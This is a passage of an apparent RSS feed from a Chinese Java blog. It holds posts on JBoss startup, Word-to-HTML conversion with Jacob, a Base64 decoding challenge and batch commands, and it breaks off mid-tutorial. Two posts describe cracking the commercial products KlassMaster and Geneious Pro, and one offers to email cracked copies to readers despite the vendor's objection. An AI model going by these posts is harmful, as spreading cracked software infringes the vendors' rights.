<p>KlassMaster很强大的混淆工具，最大卖点应该是混淆时改程序的控制流程但程序功能不会发生变化这一点。<br />
当然，字符加密功能也很强大，对逆向工程会带来很大的麻烦。</p>
<p>当然，价格也不低：）上次破解了4.5，一直在用。前两天发现已经更新到5.1了，<br />
想办法弄了一个，企业版。<br />
<br />
本来不打算散发该软件的破解，原因是一年前我收到了官方的邮件，要求我不要做影响他们<br />
公司的事情，但又看到这么多朋友需要。那我就发布一个该软件的低版本，留下邮箱的我会<br />
给每人发一份，同时希望大家在小范围传播就行了。<br />
<img alt="" src="http://www.blogjava.net/images/blogjava_net/galaxyp/ZKM.JPG" border="0" width="637" height="476" /> </p>
<img src ="http://www.blogjava.net/galaxyp/aggbug/174256.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2008-01-10 13:35 <a href="http://www.blogjava.net/galaxyp/archive/2008/01/10/174256.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>JBoss启动过程(译) zt</title><link>http://www.blogjava.net/galaxyp/archive/2007/11/19/161648.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Mon, 19 Nov 2007 08:08:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2007/11/19/161648.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/161648.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2007/11/19/161648.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/161648.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/161648.html</trackback:ping><description><![CDATA[<p style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%; tab-stops: list 21.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">1.<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">org.jboss.Main.main(String[])</span> <span style="font-size: 12pt; line-height: 150%; font-family: 宋体">为入口.</span> </p>
<p style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%; tab-stops: list 21.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">2.<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">main</span> <span style="font-size: 12pt; line-height: 150%; font-family: 宋体">函数创建一个名叫&#8221;jboss&#8221;的线程组, 然后创建一个属于该组的线程, 在线程中执行boot方法.</span> </p>
<p style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%; tab-stops: list 21.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">3.<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">boot</span> <span style="font-size: 12pt; line-height: 150%; font-family: 宋体">方法首先处理main函数中的参数(及一些其它的系统环境设置), 接着就用系统的属性创建了<span style="color: #99cc00">org.jboss.system.server.ServerLoader</span>实例[<span style="color: maroon">new ServerLoader(<span style="color: blue">props</span>)]. </span></span></p>
<p style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%; tab-stops: list 21.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">4.<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">ServerLoader</span> <span style="font-size: 12pt; line-height: 150%; font-family: 宋体">注册Jboss相关的类路径, 包括XML解析器, jboss-jmx.jar, concurrent.jar及其它的一些额外的类路径.</span> </p>
<p style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%; tab-stops: list 21.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">5.<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">ServerLoader</span> <span style="font-size: 12pt; line-height: 150%; font-family: 宋体">通过load(ClassLoader)方法创建Jboss Server实例. 参数ClassLoader是ClassLoader parentCL = Thread.currentThread(). getContextClassLoader( )得到的当前线程的类加载器. 创建的Server实例是<span style="color: #99cc00">org.jboss.system.server.Server</span>接口的实现. load(ClassLoader)方法的细节:</span> </p>
<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: Wingdings">&#216;<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">用jar包及在ServerLoader中注册的类路径创建一个URLClassLoader的实例, 把传入的ClassLoader作为该URLClassLoader的parent. </span></p>
<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: Wingdings">&#216;<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">Server</span> <span style="font-size: 12pt; line-height: 150%; font-family: 宋体">接口的实现类由系统属性 jboss.server.type决定, 默认是&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: #99cc00">org.jboss.system.server.ServerImpl.</span></span> </p>
<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: Wingdings">&#216;<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">URLClassLoader</span> <span style="font-size: 12pt; line-height: 150%; font-family: 宋体">通过无参构造函数加载Server接口实现的实例. 在加载前把当前线程的类加载器置为该URLClassLoader, 在加载完成后再置回之前传入的ClassLoader. </span></p>
<p style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%; tab-stops: list 21.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">6.<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">Server</span> <span style="font-size: 12pt; line-height: 150%; font-family: 宋体">实例用系统属性进行初始化[server.init(<span style="color: blue">props)].</span></span> </p>
<p style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%; tab-stops: list 21.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">7.<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">服务起动[server.start()]. 起动过程的默认实现如下:</span> </p>
<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: Wingdings">&#216;<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">把当前线程类型加载器置为加载该Server接口实现实例的ClassLoader.</span> </p>
<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: Wingdings">&#216;<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">在jboss域内, 通过MBeanServerFactory的createMBeanServer(String)方法创建MbeanServer实例. </span></p>
<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: Wingdings">&#216;<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">在MBean Server上注册ServerImpl和ServerConfigImpl两个MBean.</span> </p>
<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: Wingdings">&#216;<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">初始化统一的类加载仓库(unified class loader repository), 用来装载服务器配置目录及其它可选目录下的jar文件. 对于每一个jar文件和类目录都会创建一个相应的<span style="color: #99cc00">org.jboss.jmx.loading.UnifiedClassLoader</span>实例, 并且注册到统一的仓库中. 其中一个UnifiedClassLoader实例会被设置为当前线程上下文的ClassLoader. [?: <span style="color: #ffcc00">This effectively makes allUnifiedClassLoaders available through the thread context class loader.]</span></span> </p>
<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: Wingdings">&#216;<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">接下来创建<span style="color: #99cc00">org.jboss.system.ServiceController</span>的MBean实例. ServiceController管理JBoss MBean服务的生命周期. </span></p>
<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: Wingdings">&#216;<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; color: #99cc00; line-height: 150%; font-family: 宋体">org.jboss.deployment.MainDeployer</span> <span style="font-size: 12pt; line-height: 150%; font-family: 宋体">实例被创建并起动. MainDeployer管理部署的依赖和部署的定向. </span></p>
<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: Wingdings">&#216;<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; color: #99cc00; line-height: 150%; font-family: 宋体">org.jboss.deployment.</span> <span style="font-size: 12pt; color: #99cc00; line-height: 150%; font-family: 宋体">JARDeployer</span> <span style="font-size: 12pt; line-height: 150%; font-family: 宋体">实例被创建并起动. JARDeployer处理jar包的部署.</span> </p>
<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: Wingdings">&#216;<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; color: #99cc00; line-height: 150%; font-family: 宋体">org.jboss.deployment.</span> <span style="font-size: 12pt; color: #99cc00; line-height: 150%; font-family: 宋体">SARDeployer</span> <span style="font-size: 12pt; line-height: 150%; font-family: 宋体">实例被创建并起动. SARDeployer处理JBoss MBean服务的部署.</span> </p>
<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: Wingdings">&#216;<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">MainDeployer</span> <span style="font-size: 12pt; line-height: 150%; font-family: 宋体">对当前服务器文件环境里conf/jboss-service.xml定义的服务进行部署.</span> </p>
<p><span style="font-size: 12pt; font-family: 宋体">启动过程结束. 把当前线程上下文类加载器置回为起动前的ClassLoader.</span></p>
<img src ="http://www.blogjava.net/galaxyp/aggbug/161648.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2007-11-19 16:08 <a href="http://www.blogjava.net/galaxyp/archive/2007/11/19/161648.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>破解 Geneious Pro 3.0.6</title><link>http://www.blogjava.net/galaxyp/archive/2007/10/17/153554.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Wed, 17 Oct 2007 05:54:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2007/10/17/153554.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/153554.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2007/10/17/153554.html#Feedback</comments><slash:comments>47</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/153554.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/153554.html</trackback:ping><description><![CDATA[<p dir="ltr" style="margin-right: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 同样，破解该软件只是个人爱好，注册机不会发布。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 该软除了用到多种加密算法外（包括数字签名、非对称加密、对称加密、CRC校验、变种Base64编码等），最让人头痛的应该是反调试和字节码混淆。我们知道，在JAVA的重载中，反回值的类型并不做为重载签名。混淆后的代码反编译后会发现大量同名函数，参数类型也一样，所不同的只是反回值类型的不同。分析这样的代码往往会把你带进&#8220;误区&#8221;——跟进了不是系统调用的函数。而且，这样的函数也无法用字节码工具直接修改。反调试功能让该软件无法通过调试工具运行，这样你只能一步步分析反编译你的代码。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 图：
<div align="center"><img height="716" alt="" src="http://www.blogjava.net/images/blogjava_net/galaxyp/Geneious_Pro.JPG" width="668" border="0" /></div>
<br />
<img alt="" src="http://www.blogjava.net/images/blogjava_net/galaxyp/Geneiout_Pro4.JPG" border="0" /><br />
  <img src ="http://www.blogjava.net/galaxyp/aggbug/153554.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2007-10-17 13:54 <a href="http://www.blogjava.net/galaxyp/archive/2007/10/17/153554.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>技术挑战——根据编码函数写出解码函数</title><link>http://www.blogjava.net/galaxyp/archive/2007/10/12/152231.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Fri, 12 Oct 2007 01:49:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2007/10/12/152231.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/152231.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2007/10/12/152231.html#Feedback</comments><slash:comments>10</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/152231.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/152231.html</trackback:ping><description><![CDATA[<p align="left">第一个粘出解码函数的人将得到价值几百美元的混淆工具，据评价也是目前最好的混淆器。当然，前题是你想要：）。<br />
<br />
public class Base64Coder<br />
{</p>
<p>&nbsp;&nbsp;&nbsp; public static void main(String[] args)<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp; &nbsp;String a = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";//这里不技持中文<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;String ru;<br />
&nbsp;&nbsp;&nbsp; &nbsp;char[] ch;<br />
&nbsp;&nbsp;&nbsp; &nbsp;try{<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;byte[] bt= a.getBytes("UTF-8");<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;ch = encrypt(bt);<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;//ru = new String(decrypt(ch));<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;System.out.println(ru);<br />
&nbsp;&nbsp;&nbsp; &nbsp;}catch(Exception e){}<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; public static char[] encrypt(byte abyte0[])<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int i = abyte0.length;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int j = (i * 4 + 2) / 3;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int k = ((i + 2) / 3) * 4;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; char ac[] = new char[k];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int l = 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(int i1 = 0; l &lt; i; i1++)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int j1 = abyte0[l++] &amp; 0xff;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int k1 = l &gt;= i ? 0 : abyte0[l++] &amp; 0xff;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int l1 = l &gt;= i ? 0 : abyte0[l++] &amp; 0xff;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int i2 = j1 &gt;&gt;&gt; 2;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int j2 = (j1 &amp; 3) &lt;&lt; 4 | k1 &gt;&gt;&gt; 4;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int k2 = (k1 &amp; 0xf) &lt;&lt; 2 | l1 &gt;&gt;&gt; 6;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int l2 = l1 &amp; 0x3f;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ac[i1++] = cChar[i2];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ac[i1++] = cChar[j2];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ac[i1] = i1 &gt;= j ? '=' : cChar[k2];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i1++;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ac[i1] = i1 &gt;= j ? '=' : cChar[l2];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return ac;<br />
&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; private static char cChar[];<br />
&nbsp;&nbsp;&nbsp; private static byte bByte[];</p>
<p>&nbsp;&nbsp;&nbsp; static <br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cChar = new char[64];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int i = 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(char c = 'A'; c &lt;= 'Z'; c++)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cChar[i++] = c;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(char c1 = 'a'; c1 &lt;= 'z'; c1++)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cChar[i++] = c1;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(char c2 = '0'; c2 &lt;= '9'; c2++)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cChar[i++] = c2;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cChar[i++] = '+';<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cChar[i++] = '/';<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bByte = new byte[128];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(int j = 0; j &lt; bByte.length; j++)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bByte[j] = -1;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(int k = 0; k &lt; 64; k++)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bByte[cChar[k]] = (byte)k;</p>
<p>&nbsp;&nbsp;&nbsp; }<br />
}</p>
<img src ="http://www.blogjava.net/galaxyp/aggbug/152231.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2007-10-12 09:49 <a href="http://www.blogjava.net/galaxyp/archive/2007/10/12/152231.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>JAVA中把WORD文档直接转换成html</title><link>http://www.blogjava.net/galaxyp/archive/2007/06/21/125529.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Thu, 21 Jun 2007 05:06:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2007/06/21/125529.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/125529.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2007/06/21/125529.html#Feedback</comments><slash:comments>6</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/125529.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/125529.html</trackback:ping><description><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jacob是java和windows下的com桥，通过它我们可以在java<font face=宋体 size=2>程序中调用COM组件。如果你的JDK是1.4，那你需要下载jacob1.9的jni库才能正常运行，早期版本在JDK1.4下有些问题。<br>&nbsp;</font><br>package com;<br>/**<br>&nbsp;* &lt;p&gt;Title:Word文档转html类&lt;/p&gt;<br>&nbsp;* &lt;p&gt;Description: &lt;/p&gt;<br>&nbsp;* &lt;p&gt;Copyright:() 2002&lt;/p&gt;<br>&nbsp;* @author&nbsp;舵手<br>&nbsp;* @version 1.0<br>&nbsp;*/<br>import com.jacob.com.*;<br>import com.jacob.activeX.*;</p>
<p>public class WordtoHtml {<br>&nbsp;/**<br>&nbsp; *文档转换函数<br>&nbsp; <a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#42;&#64;&#112;&#97;&#114;&#97;&#109;">*@param</a> docfile word文档的绝对路径加文件名(包含扩展名)<br>&nbsp; <a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#42;&#64;&#112;&#97;&#114;&#97;&#109;">*@param</a> htmlfile 转换后的html文件绝对路径和文件名(不含扩展名)<br>&nbsp; */<br>&nbsp;public static void change(String docfile, String htmlfile) {<br>&nbsp;&nbsp;ActiveXComponent app = new ActiveXComponent("Word.Application");// 启动word<br>&nbsp;&nbsp;try {<br>&nbsp;&nbsp;&nbsp;app.setProperty("Visible", new Variant(false));<br>&nbsp;&nbsp;&nbsp; //设置word不可见<br>&nbsp;&nbsp;&nbsp;Object docs = app.getProperty("Documents").toDispatch();<br>&nbsp;&nbsp;&nbsp;Object doc = Dispatch.invoke(docs,"Open",Dispatch.Method,new Object[] { docfile, new Variant(false),new Variant(true) }, new int[1]).toDispatch();<br>&nbsp;&nbsp;&nbsp;// 打开word文件<br>&nbsp;&nbsp;&nbsp;Dispatch.invoke(doc, "SaveAs", Dispatch.Method, new Object[] {htmlfile, new Variant(8) }, new int[1]);<br>&nbsp;&nbsp;&nbsp;// 作为html格式保存到临时文件<br>&nbsp;&nbsp;&nbsp;Variant f = new Variant(false);<br>&nbsp;&nbsp;&nbsp;Dispatch.call(doc, "Close", f);<br>&nbsp;&nbsp;} catch (Exception e) {<br>&nbsp;&nbsp;&nbsp;e.printStackTrace();<br>&nbsp;&nbsp;} finally {<br>&nbsp;&nbsp;&nbsp;app.invoke("Quit", new Variant[]{});<br>&nbsp;&nbsp;}<br>&nbsp;}<br>&nbsp;public static void main(String[] strs){<br>&nbsp;&nbsp;WordtoHtml.change("c:\\a\\运输管理调度系统总体方案.doc", "c:\\a\\t");<br>&nbsp;&nbsp;<br>&nbsp;}<br>}</p>
<img src ="http://www.blogjava.net/galaxyp/aggbug/125529.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2007-06-21 13:06 <a href="http://www.blogjava.net/galaxyp/archive/2007/06/21/125529.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>批处理命令基础学习</title><link>http://www.blogjava.net/galaxyp/archive/2007/03/07/102369.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Wed, 07 Mar 2007 05:04:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2007/03/07/102369.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/102369.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2007/03/07/102369.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/102369.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/102369.html</trackback:ping><description><![CDATA[
		<p>转自百度贴吧<br /><br />批处理文件或批处理程序是一个包含若干MS-DOS命令的正文文件，扩展名为.BAT。当在命令提示符下敲入批处理程序的名称时，MS-DOS成组执行此批处理程序中的命令。 <br />任何在命令提示符下可使用的命令都可用在批处理程序中。此外，下面MS-DOS命令是专门在批处理程序中使用的。 <br />&lt;Call&gt;         &lt;If&gt; <br />&lt;Choice&gt;         &lt;Pause&gt; <br />&lt;Echo&gt;         &lt;Rem&gt; <br />&lt;For&gt;           &lt;Shift&gt; <br />&lt;Goto&gt; <br />================================================================ <br />常用命令 <br />echo、@、call、pause、rem(小技巧：用::代替rem)是批处理文件最常用的几个命令，我们就从他们开始学起。 <br />==== willsort 编注 ============================================== <br />首先, @ 不是一个命令, 而是DOS 批处理的一个特殊标记符, 仅用于屏蔽命令行回显. 下面是DOS命令行或批处理中可能会见到的一些特殊标记符: <br />CR(0D)   命令行结束符 <br />Escape(1B)   ANSI转义字符引导符 <br />Space(20)   常用的参数界定符 <br />Tab(09) ; =   不常用的参数界定符 <br />+     COPY命令文件连接符 <br />* ?       文件通配符 <br />""       字符串界定符 <br />|       命令管道符 <br />&lt; &gt; &gt;&gt;   文件重定向符 <br />@       命令行回显屏蔽符 <br />/       参数开关引导符 <br />:       批处理标签引导符 <br />%       批处理变量引导符 <br />其次, :: 确实可以起到rem 的注释作用, 而且更简洁有效; 但有两点需要注意: <br />第一, 除了 :: 之外, 任何以 :开头的字符行, 在批处理中都被视作标号, 而直接忽略其后的所有内容, 只是为了与正常的标号相区别, 建议使用 goto 所无法识别的标号, 即在 :后紧跟一个非字母数字的一个特殊符号. <br />第二, 与rem 不同的是, ::后的字符行在执行时不会回显, 无论是否用echo on打开命令行回显状态, 因为命令解释器不认为他是一个有效的命令行, 就此点来看, rem 在某些场合下将比 :: 更为适用; 另外, rem 可以用于 config.sys 文件中. <br />================================================================ <br />echo 表示显示此命令后的字符 <br />echo off 表示在此语句后所有运行的命令都不显示命令行本身 <br />@与echo off相象，但它是加在每个命令行的最前面，表示运行时不显示这一行的命令行（只能影响当前行）。 <br />call 调用另一个批处理文件（如果不用call而直接调用别的批处理文件，那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令）。 <br />pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示，等待用户按任意键后继续 <br />rem 